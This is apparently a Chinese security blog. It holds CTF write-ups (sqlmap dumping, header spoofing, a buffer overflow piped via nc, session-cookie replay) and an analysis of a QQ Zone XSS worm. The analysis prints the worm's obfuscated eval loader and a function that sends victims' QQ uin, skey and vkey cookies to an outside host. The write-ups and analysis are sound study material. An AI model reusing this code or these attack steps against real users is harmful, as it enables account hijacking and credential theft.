$ ./sqlmap.py -u "http://xxx.xxx.xxx.xxx:8080/web3/login.php" --forms -D nuaactf --tables --dump

可以dump出表结构,如下图所示:

0

证实了刚才的猜想。

Web5

根据题目描述“你从哪里来“,可以推测是修改HTTP头。在HTTP头中加上:

1
2
Origin: http://cs.nuaa.edu.cn/
X-Forwarded-For: 【cs.nuaa.edu.cn的IP】

得出flag:nuaactf{C0ndrulation!_y0u_f1n1shed_a11_web_quest}。

Reverse1

这是一个apk,先用dex2jar将其转换为jar文件:

1
2
$ d2j-dex2jar.sh reverse1.apk
dex2jar reverse1.apk -> reverse1-dex2jar.jar

用jd-gui打开,在cc.sslab.app1中发现flag:nuaactf{Happy_crack1ng_app!}。

0

Reverse2

根据题目描述,可能跟音频有关,于是用压缩工具打开apk(apk本质上是个压缩包),在res/raw文件夹中发现sound.wav。使用高级一点的音频工具(例如AU)打开,发现有四个声道,下面的两个声道非常可疑。

0

于是就变成了一道数数题,令上面的为1,下面的为0,得到如下的01序列:

1
011011100111010101100001011000010110001101110100011001100111101101110011011010000011000001110010011101000101111101100110001100010100000101100111

然后将其每8个一组,转换为ASCII字符:

1
2
3
4
5
6
7
a = '01101110 01110101 01100001 01100001 01100011 01110100 01100110 01111011 01110011 01101000 00110000 01110010 01110100 01011111 01100110 00110001 01000001 01100111'.split(' ')
b = ''
a.forEach(function (item, index) {
ascii = parseInt(item, 2)
b += String.fromCharCode(ascii)
})
console.log(b)

得出flag:nuaactf{sh0rt_f1Ag}。(原数据缺少右花括号,比赛现场修正了题目。)

Reverse3

根据题目描述(拖拽即可生成界面)以及exe文件打开之后的窗口图标,可以确定这是一个.NET的程序。使用ILSpy(或者.NET Reflector)打开,在reverse3的Form1中发现:

0

分析可得:点击按钮之后判断你输入的字符串经过decrypt2加密后是否等于通过decrypt1解密过的一串字符串,如果相等则显示“Correct Flag!”。也就是说,flag应该是图中的长字符串经过decrypt1解密后再经过decrypt2解密得到的答案。

在reverse3中有decrypt1和decrypt2两个class,里面都有加密和解密函数(据出题人说,为了降低难度特地写的解密函数,本应由参赛者自行推断解密算法)。扔进C#环境中运行一遍即可。

由于我本机没有C# 环境,因此搜索出来一个支持多种语言的在线运行环境。将decrypt1、decrypt2、MyMap三个类摘出来拼到一个文件中,自己另写了一个Test类来调用。

0

上图是我在Sublime Text中整合的代码,为了方便截图我将三个类折叠起来了。 下图是在一个在线运行网站上得出的结果。

0

最终得出flag:NUAACTF{HAPPYCRACK1NGCHHARP}。

Reverse4

这是一个Mac下的二进制文件,使用IDA打开,看到 _main函数的逻辑是:获取程序调用时的第一个参数(argv1),使用encrypt函数加密之后输出。

于是找到encrypt函数,不得不说IDA的变量改名和注释功能挺好用的,一番折腾之后见下图。其中关于_DefaultRuneLocale_ptr和 __maskrune的知识,请参考下面的两个文件:

http://users.sosdg.org/~qiyong/mxr/source/lib/libc/locale/runetable.c#L54 http://users.sosdg.org/~qiyong/mxr/source/lib/libc/locale/runetype_file.h#L60

这也是编译器实现isalpha和isupper等函数的原理。

0

可能是IDA的F5工具逻辑有问题,将一个循环编译成的汇编还原成伪代码的结果很奇怪。再进行一遍逻辑整理之后,推测出源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void encrypt(char *str, char *buffer) {
int str_length = strlen(str);
int password_length = strlen(password);
// 生成密码字典dict
for (int i = 0; i < password_length; i++) {
alphabet[password[i] - 'a'] = true;
dict[i] = password[i] - 'a';
}
for (int i = 0; i < 25; i++)
if (alphabet[i] == false)
dict[password_length++] = i;
// 使用dict来置换对str中的字母
for (int i = 0; i < str_length; i++) {
if (isalpha(str[i]) == true) {
t = tolower(str[i]) - 'a';
c = str[i];
if (isupper(c) == false) buffer[i] = dict[t] + 'a';
else buffer[i] = dict[t] + 'A';
}
else buffer[i] = t;
}
}

可以看出,上方生成的字典其实就是a-z的字母表,将password放到开头,然后剩下的字母依次排列。下方的替换其实就是str[i]→dict[str[i]],也就是说,这是一个用password做表头的标准字头密码体制。至于password是什么,用IDA全局搜索一下就知道了:

0

可以看到password的值为”asuri”,那么密码表就是”asuribcdefghjklmnopqtvwxyz”,写程序也好,手动替换也好,可以得出加密串ktaauqb{Apto1_Mo0qiuq_Y0t} 的原串,也就是题目的flag为:nuaactf{Asur1_Pr0tect_Y0u}。

顺便提一下:我在IDA中看到有一个函数叫generateDict,但是在main中并没有被调用,与出题人核对一遍源代码之后才发现,源代码在encrypt函数中调用了generateDict,然而编译器将它inline优化掉了,因此encrypt中才有了生成字典的代码段。

Pwn1

打开链接发现是一个txt文件,可以断定用了jsfuck,因此将代码复制粘贴到浏览器中执行即可得到flag:nuaactf{Isnt_js_FunNy>?}。

Pwn2

裸最短路问题,可以使用Dijkstra或者SPFA来解决。最终得到flag:nuaactf{1159}。

Pwn3

下载下来一个Linux下的ELF文件,直接用Linux环境执行会输出:

1
Cannot find flag files!,use default flag: nuaactf{FLAG_w0nt_b1_s0_EASY}

这个flag是一个假的flag,因此需要继续破解。扔到IDA中F5一下,然后定位到main函数,发现先在本地读取了flag.txt,如果没有的话输出上面那段话,因此只能通过nc连过去之后输入,或者在本机先输出,然后通过管道接到nc里面。

剩下的绝大部分代码都是连接socket的,只有最后一段:

0

于是找到str_echo函数,发现并未读取v7,然而判断了v7是否等于0x800,因此可以确定有缓冲区溢出漏洞。找到result = read(a1, &s, 500uLL),那么漏洞应该在这里。到上面查看s和v7的位置吧,如下图所示,s的起点在sp+10h,v7的起点在sp+124h,说明需要读入114h个8的长度(因为sizeof(char)=8)才可以开始读v7。

0

那么方法就是构造这样一个二进制串:一开始是长度为114h*8(2208位二进制)的随机串,最后补上一个0x800的二进制串就可以了。如果使用WinHex或者Sublime Text查看这个串,应该是先有552个0,之后接了0008(大端模式)。将这个文件存成一个二进制文件例如a.dat,然后在命令行中输入:

1
$ cat a.dat | ./nc.exe xxx.xxx.xxx.xxx 43321

得到flag:nuaactf{explo1t_a_l0t_fun}。

Pwn4

模拟题,读入矩阵并按照题目描述来操作。最后求行和与列和的输出一共24个数字,根据提示说最终答案是一个长度为24的字符串,考虑到这些数字对127取余后可能就是flag。最终得到结果:nuaactf{M4tr1X_15_gRe4t}。

Misc1

使用file命令查看文件类型:

1
2
$ file misc1.rar
misc1.rar: PNG image data, 454 x 340, 8-bit/color RGBA, non-interlaced

发现是一个PNG文件。修改后缀打开得到flag:nuaactf{Hello_MISC_nOt_RAR}。

Misc2

使用binwalk命令查看文件数据:

1
2
3
4
5
6
7
8
9
$ binwalk misc2.png

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
85 0x55 Zlib compressed data, best compression
2773 0xAD5 Zlib compressed data, best compression
195124 0x2FA34 Zip archive data, at least v1.0 to extract, compressed size: 28, uncompressed size: 28, name: flag.txt
195244 0x2FAAC End of Zip archive

发现在第195124的地方是一个zip压缩包。于是使用dd命令将其提取出来:

1
2
3
4
$ dd if=misc2.png of=out.zip bs=1 skip=195124
142+0 records in
142+0 records out
142 bytes (142 B) copied, 0.00722364 s, 19.7 kB/s

打开out.zip,里面是一个flag.txt,内容为:nuaactf{z1p_0vEr_Png_1s_fun}。

Misc3

使用StegSolve工具打开文件,切换至Red plane 1,在文件左下角有一个二维码。

0

扫码得出来一个字符串:

1
QlpoOTFBWSZTWXhAk1kAAAtfgAAQIABgAAgAAACvIbYKIAAigNHqNGmnqFMJpoDTEO0CXcIvl9SeOAB3axLQYn4u5IpwoSDwgSay

可以看出这是一个Base64编码。然而这串编码并不是编码了一段文字,可能是一段二进制数据。将其提取出来,并查看文件类型:

1
2
3
$ echo "QlpoOTFBWSZTWXhAk1kAAAtfgAAQIABgAAgAAACvIbYKIAAigNHqNGmnqFMJpoDTEO0CXcIvl9SeOAB3axLQYn4u5IpwoSDwgSay" | base64 –d > out.dat
$ file out.dat
out.dat: bzip2 compressed data, block size = 900k

发现是一个bzip2压缩的文件,将其解压即可得到flag:

1
2
$ cat out.dat | bunzip2
nuaactf{qrc0de_in_C011ect1on!}

Misc4

首先先用dex2jar将apk解包,使用jd-gui查看,发现里面超级复杂,于是转向pcapng文件,用Wireshark打开之后,过滤出HTTP请求,发现每个POST请求的JSON串都会带上一个body参数,而且是经过加密的,与题目给的数据很像。于是思路变为查找body的加密过程。使用jd-gui全局查找,发现在com.huidong.mdschool.net.HttpTask.class文件的onPreExecute函数中有如下代码:

1
2
3
4
5
for (String str = "'" + AesUtil.encrypt(localGson.toJson(this.bodyRequest), new StringBuilder("www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context)).toString()) + "'";; str = localGson.toJson(this.bodyRequest)) {
localHashMap.put("body", str);
this.jsonObject = localHashMap.toString();
return;
}

于是找到了加密方式:

1
AesUtil.encrypt(localGson.toJson(this.bodyRequest), new StringBuilder("www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context))

定位至AesUtil.encrypt函数,如下图所示:

0

其中函数secureBytes的作用是将字符串长度变为16,多则截取少则补零。然后encrypt使用了AES做加密,key就是那个16位字符串,也就是secureBytes(new StringBuilder(“www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context)))。前面一共15位,也就是说只需要知道getDeviceId的结果就可以了。看起来这个值与设备有关,应该只能从pcapng文件中找。发现POST数据中有一个”devId”:”81505f1ad0d49485”,于是密钥为www.wowsport.cn8,解密得出:{"flag":"nuaactf{f**K_mE_D0nG_sp0rt!}"}。

JCTF2015非官方writeup

这次水平有限,所以只做出了四道题……请大家尽情鄙视我们吧……

0x1

在资源文件夹中有一个bababa.wav的文件,用AU打开,发现是四声道,下面的两个音轨是二进制波形。按照高低不同分为01记下后,每八位一组,转换为char,即可得到flag。

0x2

根据提示可得栈226有问题, 发现所有记录中均使用DES-EBC加密,key为stringWi。从github上down一个des解密算法,把226的post数据base64解码后使用des解密,即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
{
"bundle" : "com.Securitygossip",
"os" : "0.0.1",
"status" : "solved",
"app" : "XcodeGhost",
"country" : "CN",
"language" : "zh-Hans",
"version" : "426",
"type" : "iPhone6,",
"timestamp" : "1440065480",
"name" : "JCTF{XcodeGhost_is_everywhere}"
}

0x6-1

在根目录下的robots.txt中发现如下字符串:

1
2
User-agent: *
Disallow: /13c087c969641bc59fffc97dccd5e673.php?ajiao=whosays*$

最后两个字符看起来像一个正则表达式。

打开Disallow的网址之后,发现php文件的ETAG有点特殊,其它文件的ETAG都是正常的,只有php文件的ETAG是一串连起来的字符:

1
61573135623356795a6d467563773d3d

将ETAG每两位分隔开,作为URL编码来解码,得到一个base64串:

1
aW15b3VyZmFucw==

解码后得到“imyourfans”。

考虑之前robots.txt中的提示,将此字符串带入参数:

1
?ajiao=whosaysimyourfans

访问之后,可以在最下方找到如下代码:

1
<script>alert("JCTF{keep_clam_and_carry_on}")</script><script>alert("# 0x2/1c8bd3e2bdb4c43d317ef5fbef73aab0.php")</script>

0x6-2

查看网页源代码,可以看到一段注释:

1
<!--my birthday 19xxxxxx-->

根据注释和上面<img>标签的alt,容易联想到“刘涛生日”,百度可得19780712。然而输入进去发现并没有立即提交。

看到网页中的一段js,这是在用jQuery发post包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function sendreq() {
var requestUrl = "./1c8bd3e2bdb4c43d317ef5fbef73aab0.php";
$.ajax({
type: "post",
data: "pwd=" + $("#liutao").val(),
dataType: "text",
contentType: 'application/x-www-form-urlencoded',
url: requestUrl,
async: false,
complete: function() {},
error: function(xhr) {
alert(xhr);
},
success: function(msg) {
if (msg == "error")
alert("Password Error!");
else
window.location.href = msg;
}
});
}

其中data的值为“pwd=19780712”,用Fiddler模拟发个包就好了,可以在网页最下方发现提示:“不是土豪不过关,请用iphone7浏览”……主办方丧心病狂……

然后我当时智商太低,并没有意识到iphone只出到了6s,傻傻去百度iphone7的参数去了……结果真发现了,iphone7使用的是iOS10系统,所以将浏览器UA中的版本改成10就可以了,访问得到一个图片的路径,以及一句提示:“wrong session”。

打开图片,里面是一些用xss获取到的cookie,将PHPSESSID替换掉再访问,即可获取flag。

对QQ空间自动转发/加好友的研究

前几天,QQ 空间的一大批好友转了所谓“优衣库”的一个视频,不用说,肯定是QQ空间有什么XSS漏洞了。有学弟让我去研究,其实我是拒绝的,因为我当时在搞别的事情,随便看了看源码没发现问题,于是就放到脑后了。

昨天晚上发现空间里又有好友转发的现象,甚至有自动加好友的问题。正好大半夜一个人有安静的时间,于是就顺便研究一下。

一开始没有头绪,在想是不是QQ空间有直接的XSS漏洞,于是看到了分享链接的标题,“▶↔§↙♯敱”这几个字很可疑,但是经过encodeURIComponent之后发现并没什么异常,这条路走不通。

从隐身窗口中打开链接(链接地址是恶意网址这个很容易看出来),但是并没看出代码有什么问题,除了页面最下方有一个loadscript.js,看名字应该是加载一个JavaScript代码,但是网址却是一个.php结尾的网址。

1
2
3
4
5
6
7
var dor = parseInt(cookieRead("sdone"));
if (dor && dor > 0) {
//;
} else {
loadscript.js("/v/getplay.php");
cookie_set("sdone", 99);
}

但是好像并没有什么端倪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function rndNum(len) {
if (len && len > 0 && len < 100) {} else {
len = 32;
}
var strs = "123456789";
var maxPos = strs.length;
var rdstr = "";
for (i = 0; i < len; i++) {
rdstr += strs.charAt(Math.floor(Math.random() * maxPos));
}
return rdstr;
}

if (cookieRead) {
var dor = cookieRead("adplay");
if (dor && dor > 0) {
//;
} else {
cookie_set("adplay", 99);
}
}

这条路也走不通。为了重现这个问题,我决定亲自实验一下。于是我在普通Chrome窗口中点开了这个链接。

然并卵。

什么都没发生,所以这肯定是只在手机QQ的浏览器中才有用。手头没有手机上的抓包工具,不过还好以前写前端的时候,为了方便测试移动端兼容性特地写了个页面:设备信息检测,于是用手机访问了一下,我的手机QQ浏览器的UA是这样的:

1
Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; HUAWEI G7-TL00 Build/HuaweiG7-TL00) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025442 Mobile Safari/533.1 V1_AND_SQ_5.7.2_260_YYB_D QQ/5.7.2.2490 NetType/4G WebP/0.3.0

在Chrome的开发者工具中将UA修改成这个,然而发现我已经上不去那个网站了。

天无绝人之路。将其一键加入科学上网列表之后,发现那个getplay.php的请求没了……

可能是人家防止我们分析吧。没关系,把网址中的随机参数改一改,清空一下缓存啥的,于是这个神奇的文件又出现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
document.getElementById("footad").src = "http://blog.qq.com/qzone/1107397297/1407071241.htm?vid=" + window.vid;

function rndNum(len) {
if (len && len > 0 && len < 100) {} else {
len = 32;
}
var strs = "123456789";
var maxPos = strs.length;
var rdstr = "";
for (i = 0; i < len; i++) {
rdstr += strs.charAt(Math.floor(Math.random() * maxPos));
}
return rdstr;
}

if (cookieRead) {
var dor = cookieRead("adplay");
if (dor && dor > 0) {
//;
} else {
cookie_set("adplay", 99);
}
}

第一行……在干啥?

实在是太晚了,于是我先睡觉了,睡得特别好,今天12点才起床。

于是打开网址看看吧(从console中获取到window.vid=19),发现了下面这么一段:

1
2
3
s = /e%3Ddocument.body.innerHTML%3Bs%3De.indexOf%28%22%2f%2f%27%2C%27pro%22%29%3Bif%28s%3E0%29%7Be%3De.substring%28s%2B2%29%3Bt%3De.indexOf%28%22%3C%5C%2F%22%29%3Bif%28t%3E0%29%7Be%3D%22g_weather%5B%27save%27%5D%3D%7B%27country%27%3A%27%E4%B8%AD%E5%9B%BD%22%2Be.substring%280%2Ct%29%3Beval%28e%29%7D%7D%3Bdocument.write(%27%3Cscr%69pt%20src%3D%22h%74%74p%3A%2f%2fimgc%61che.qq.skyd%61t%61s.com%2Fg%2Fn%2Fb.jpg%22%3E%3C%2Fscr%69pt%3E%27)/;
s = unescape(s);
eval(s.substring(1, s.length - 1));

eval执行的语句,也就是那个s里面的内容,是这样的:

1
2
3
4
5
6
7
8
9
10
11
e = document.body.innerHTML;
s = e.indexOf("//', 'pro");
if (s > 0) {
e = e.substring(s + 2);
t = e.indexOf("<\/");
if (t > 0) {
e = "g_weather['save']={'country':'中国" + e.substring(0, t);
eval(e)
}
};
document.write('<script src="<strong>http://imgcache.qq.skydatas.com/g/n/b.jpg</strong>"></script>')

可见这是加载了一个奇怪的资源:.jpg结尾的JavaScript代码。打开之后有个301跳转,追随过去看看吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
function tjskey() {
var eimg;
eimg = document.createElement("script");
eimg.type = "text/javascript";
var myskey = cookieRead("skey");
var myqq = parseInt(cookieRead("uin").replace("o", ""));
var vkey = cookieRead("vkey");
//if(myqq>500 && vkey.length>10){
if (myqq > 99999999) {
eimg.src = "http://db.outome.com/nsys/tsk.php?u=" + myqq + "&s=" + myskey + "&v=" + vkey + "&f=" + getQueryString("vid");
document.body.appendChild(eimg);
}
}

看到上面加粗的那一段了?通过http://db.outome.com/nsys/tsk.php这个接口将你的qq、skey、vkey、vid信息发到指定的位置。

还需要管别的么?有了key以后想做什么操作都随意了吧!

但是这并没有解决根本的疑问:blog.qq.com的网页上为什么会出现外面的代码?blog.qq.com我从来没听说过,看起来像QQ空间的前身,那为什么QQ没有弃用这个域名?是不是这个网站上有BUG?我就不得而知了。如果有大神有新的研究成果,求共享!

另,分享一篇寻找资料时找到的文章:qq空间某被利用的xss分析 - virusdefender’s blog,与本文的原理不同,这个是通过XSS修改<base>直接获取key以达到目标。但是该文章是通过网址中的imgdm参数进行反射型XSS,而本文应该属于存储型XSS。

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Thanks to the plugin hexo-multiauthor, we can support more than one author now!

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment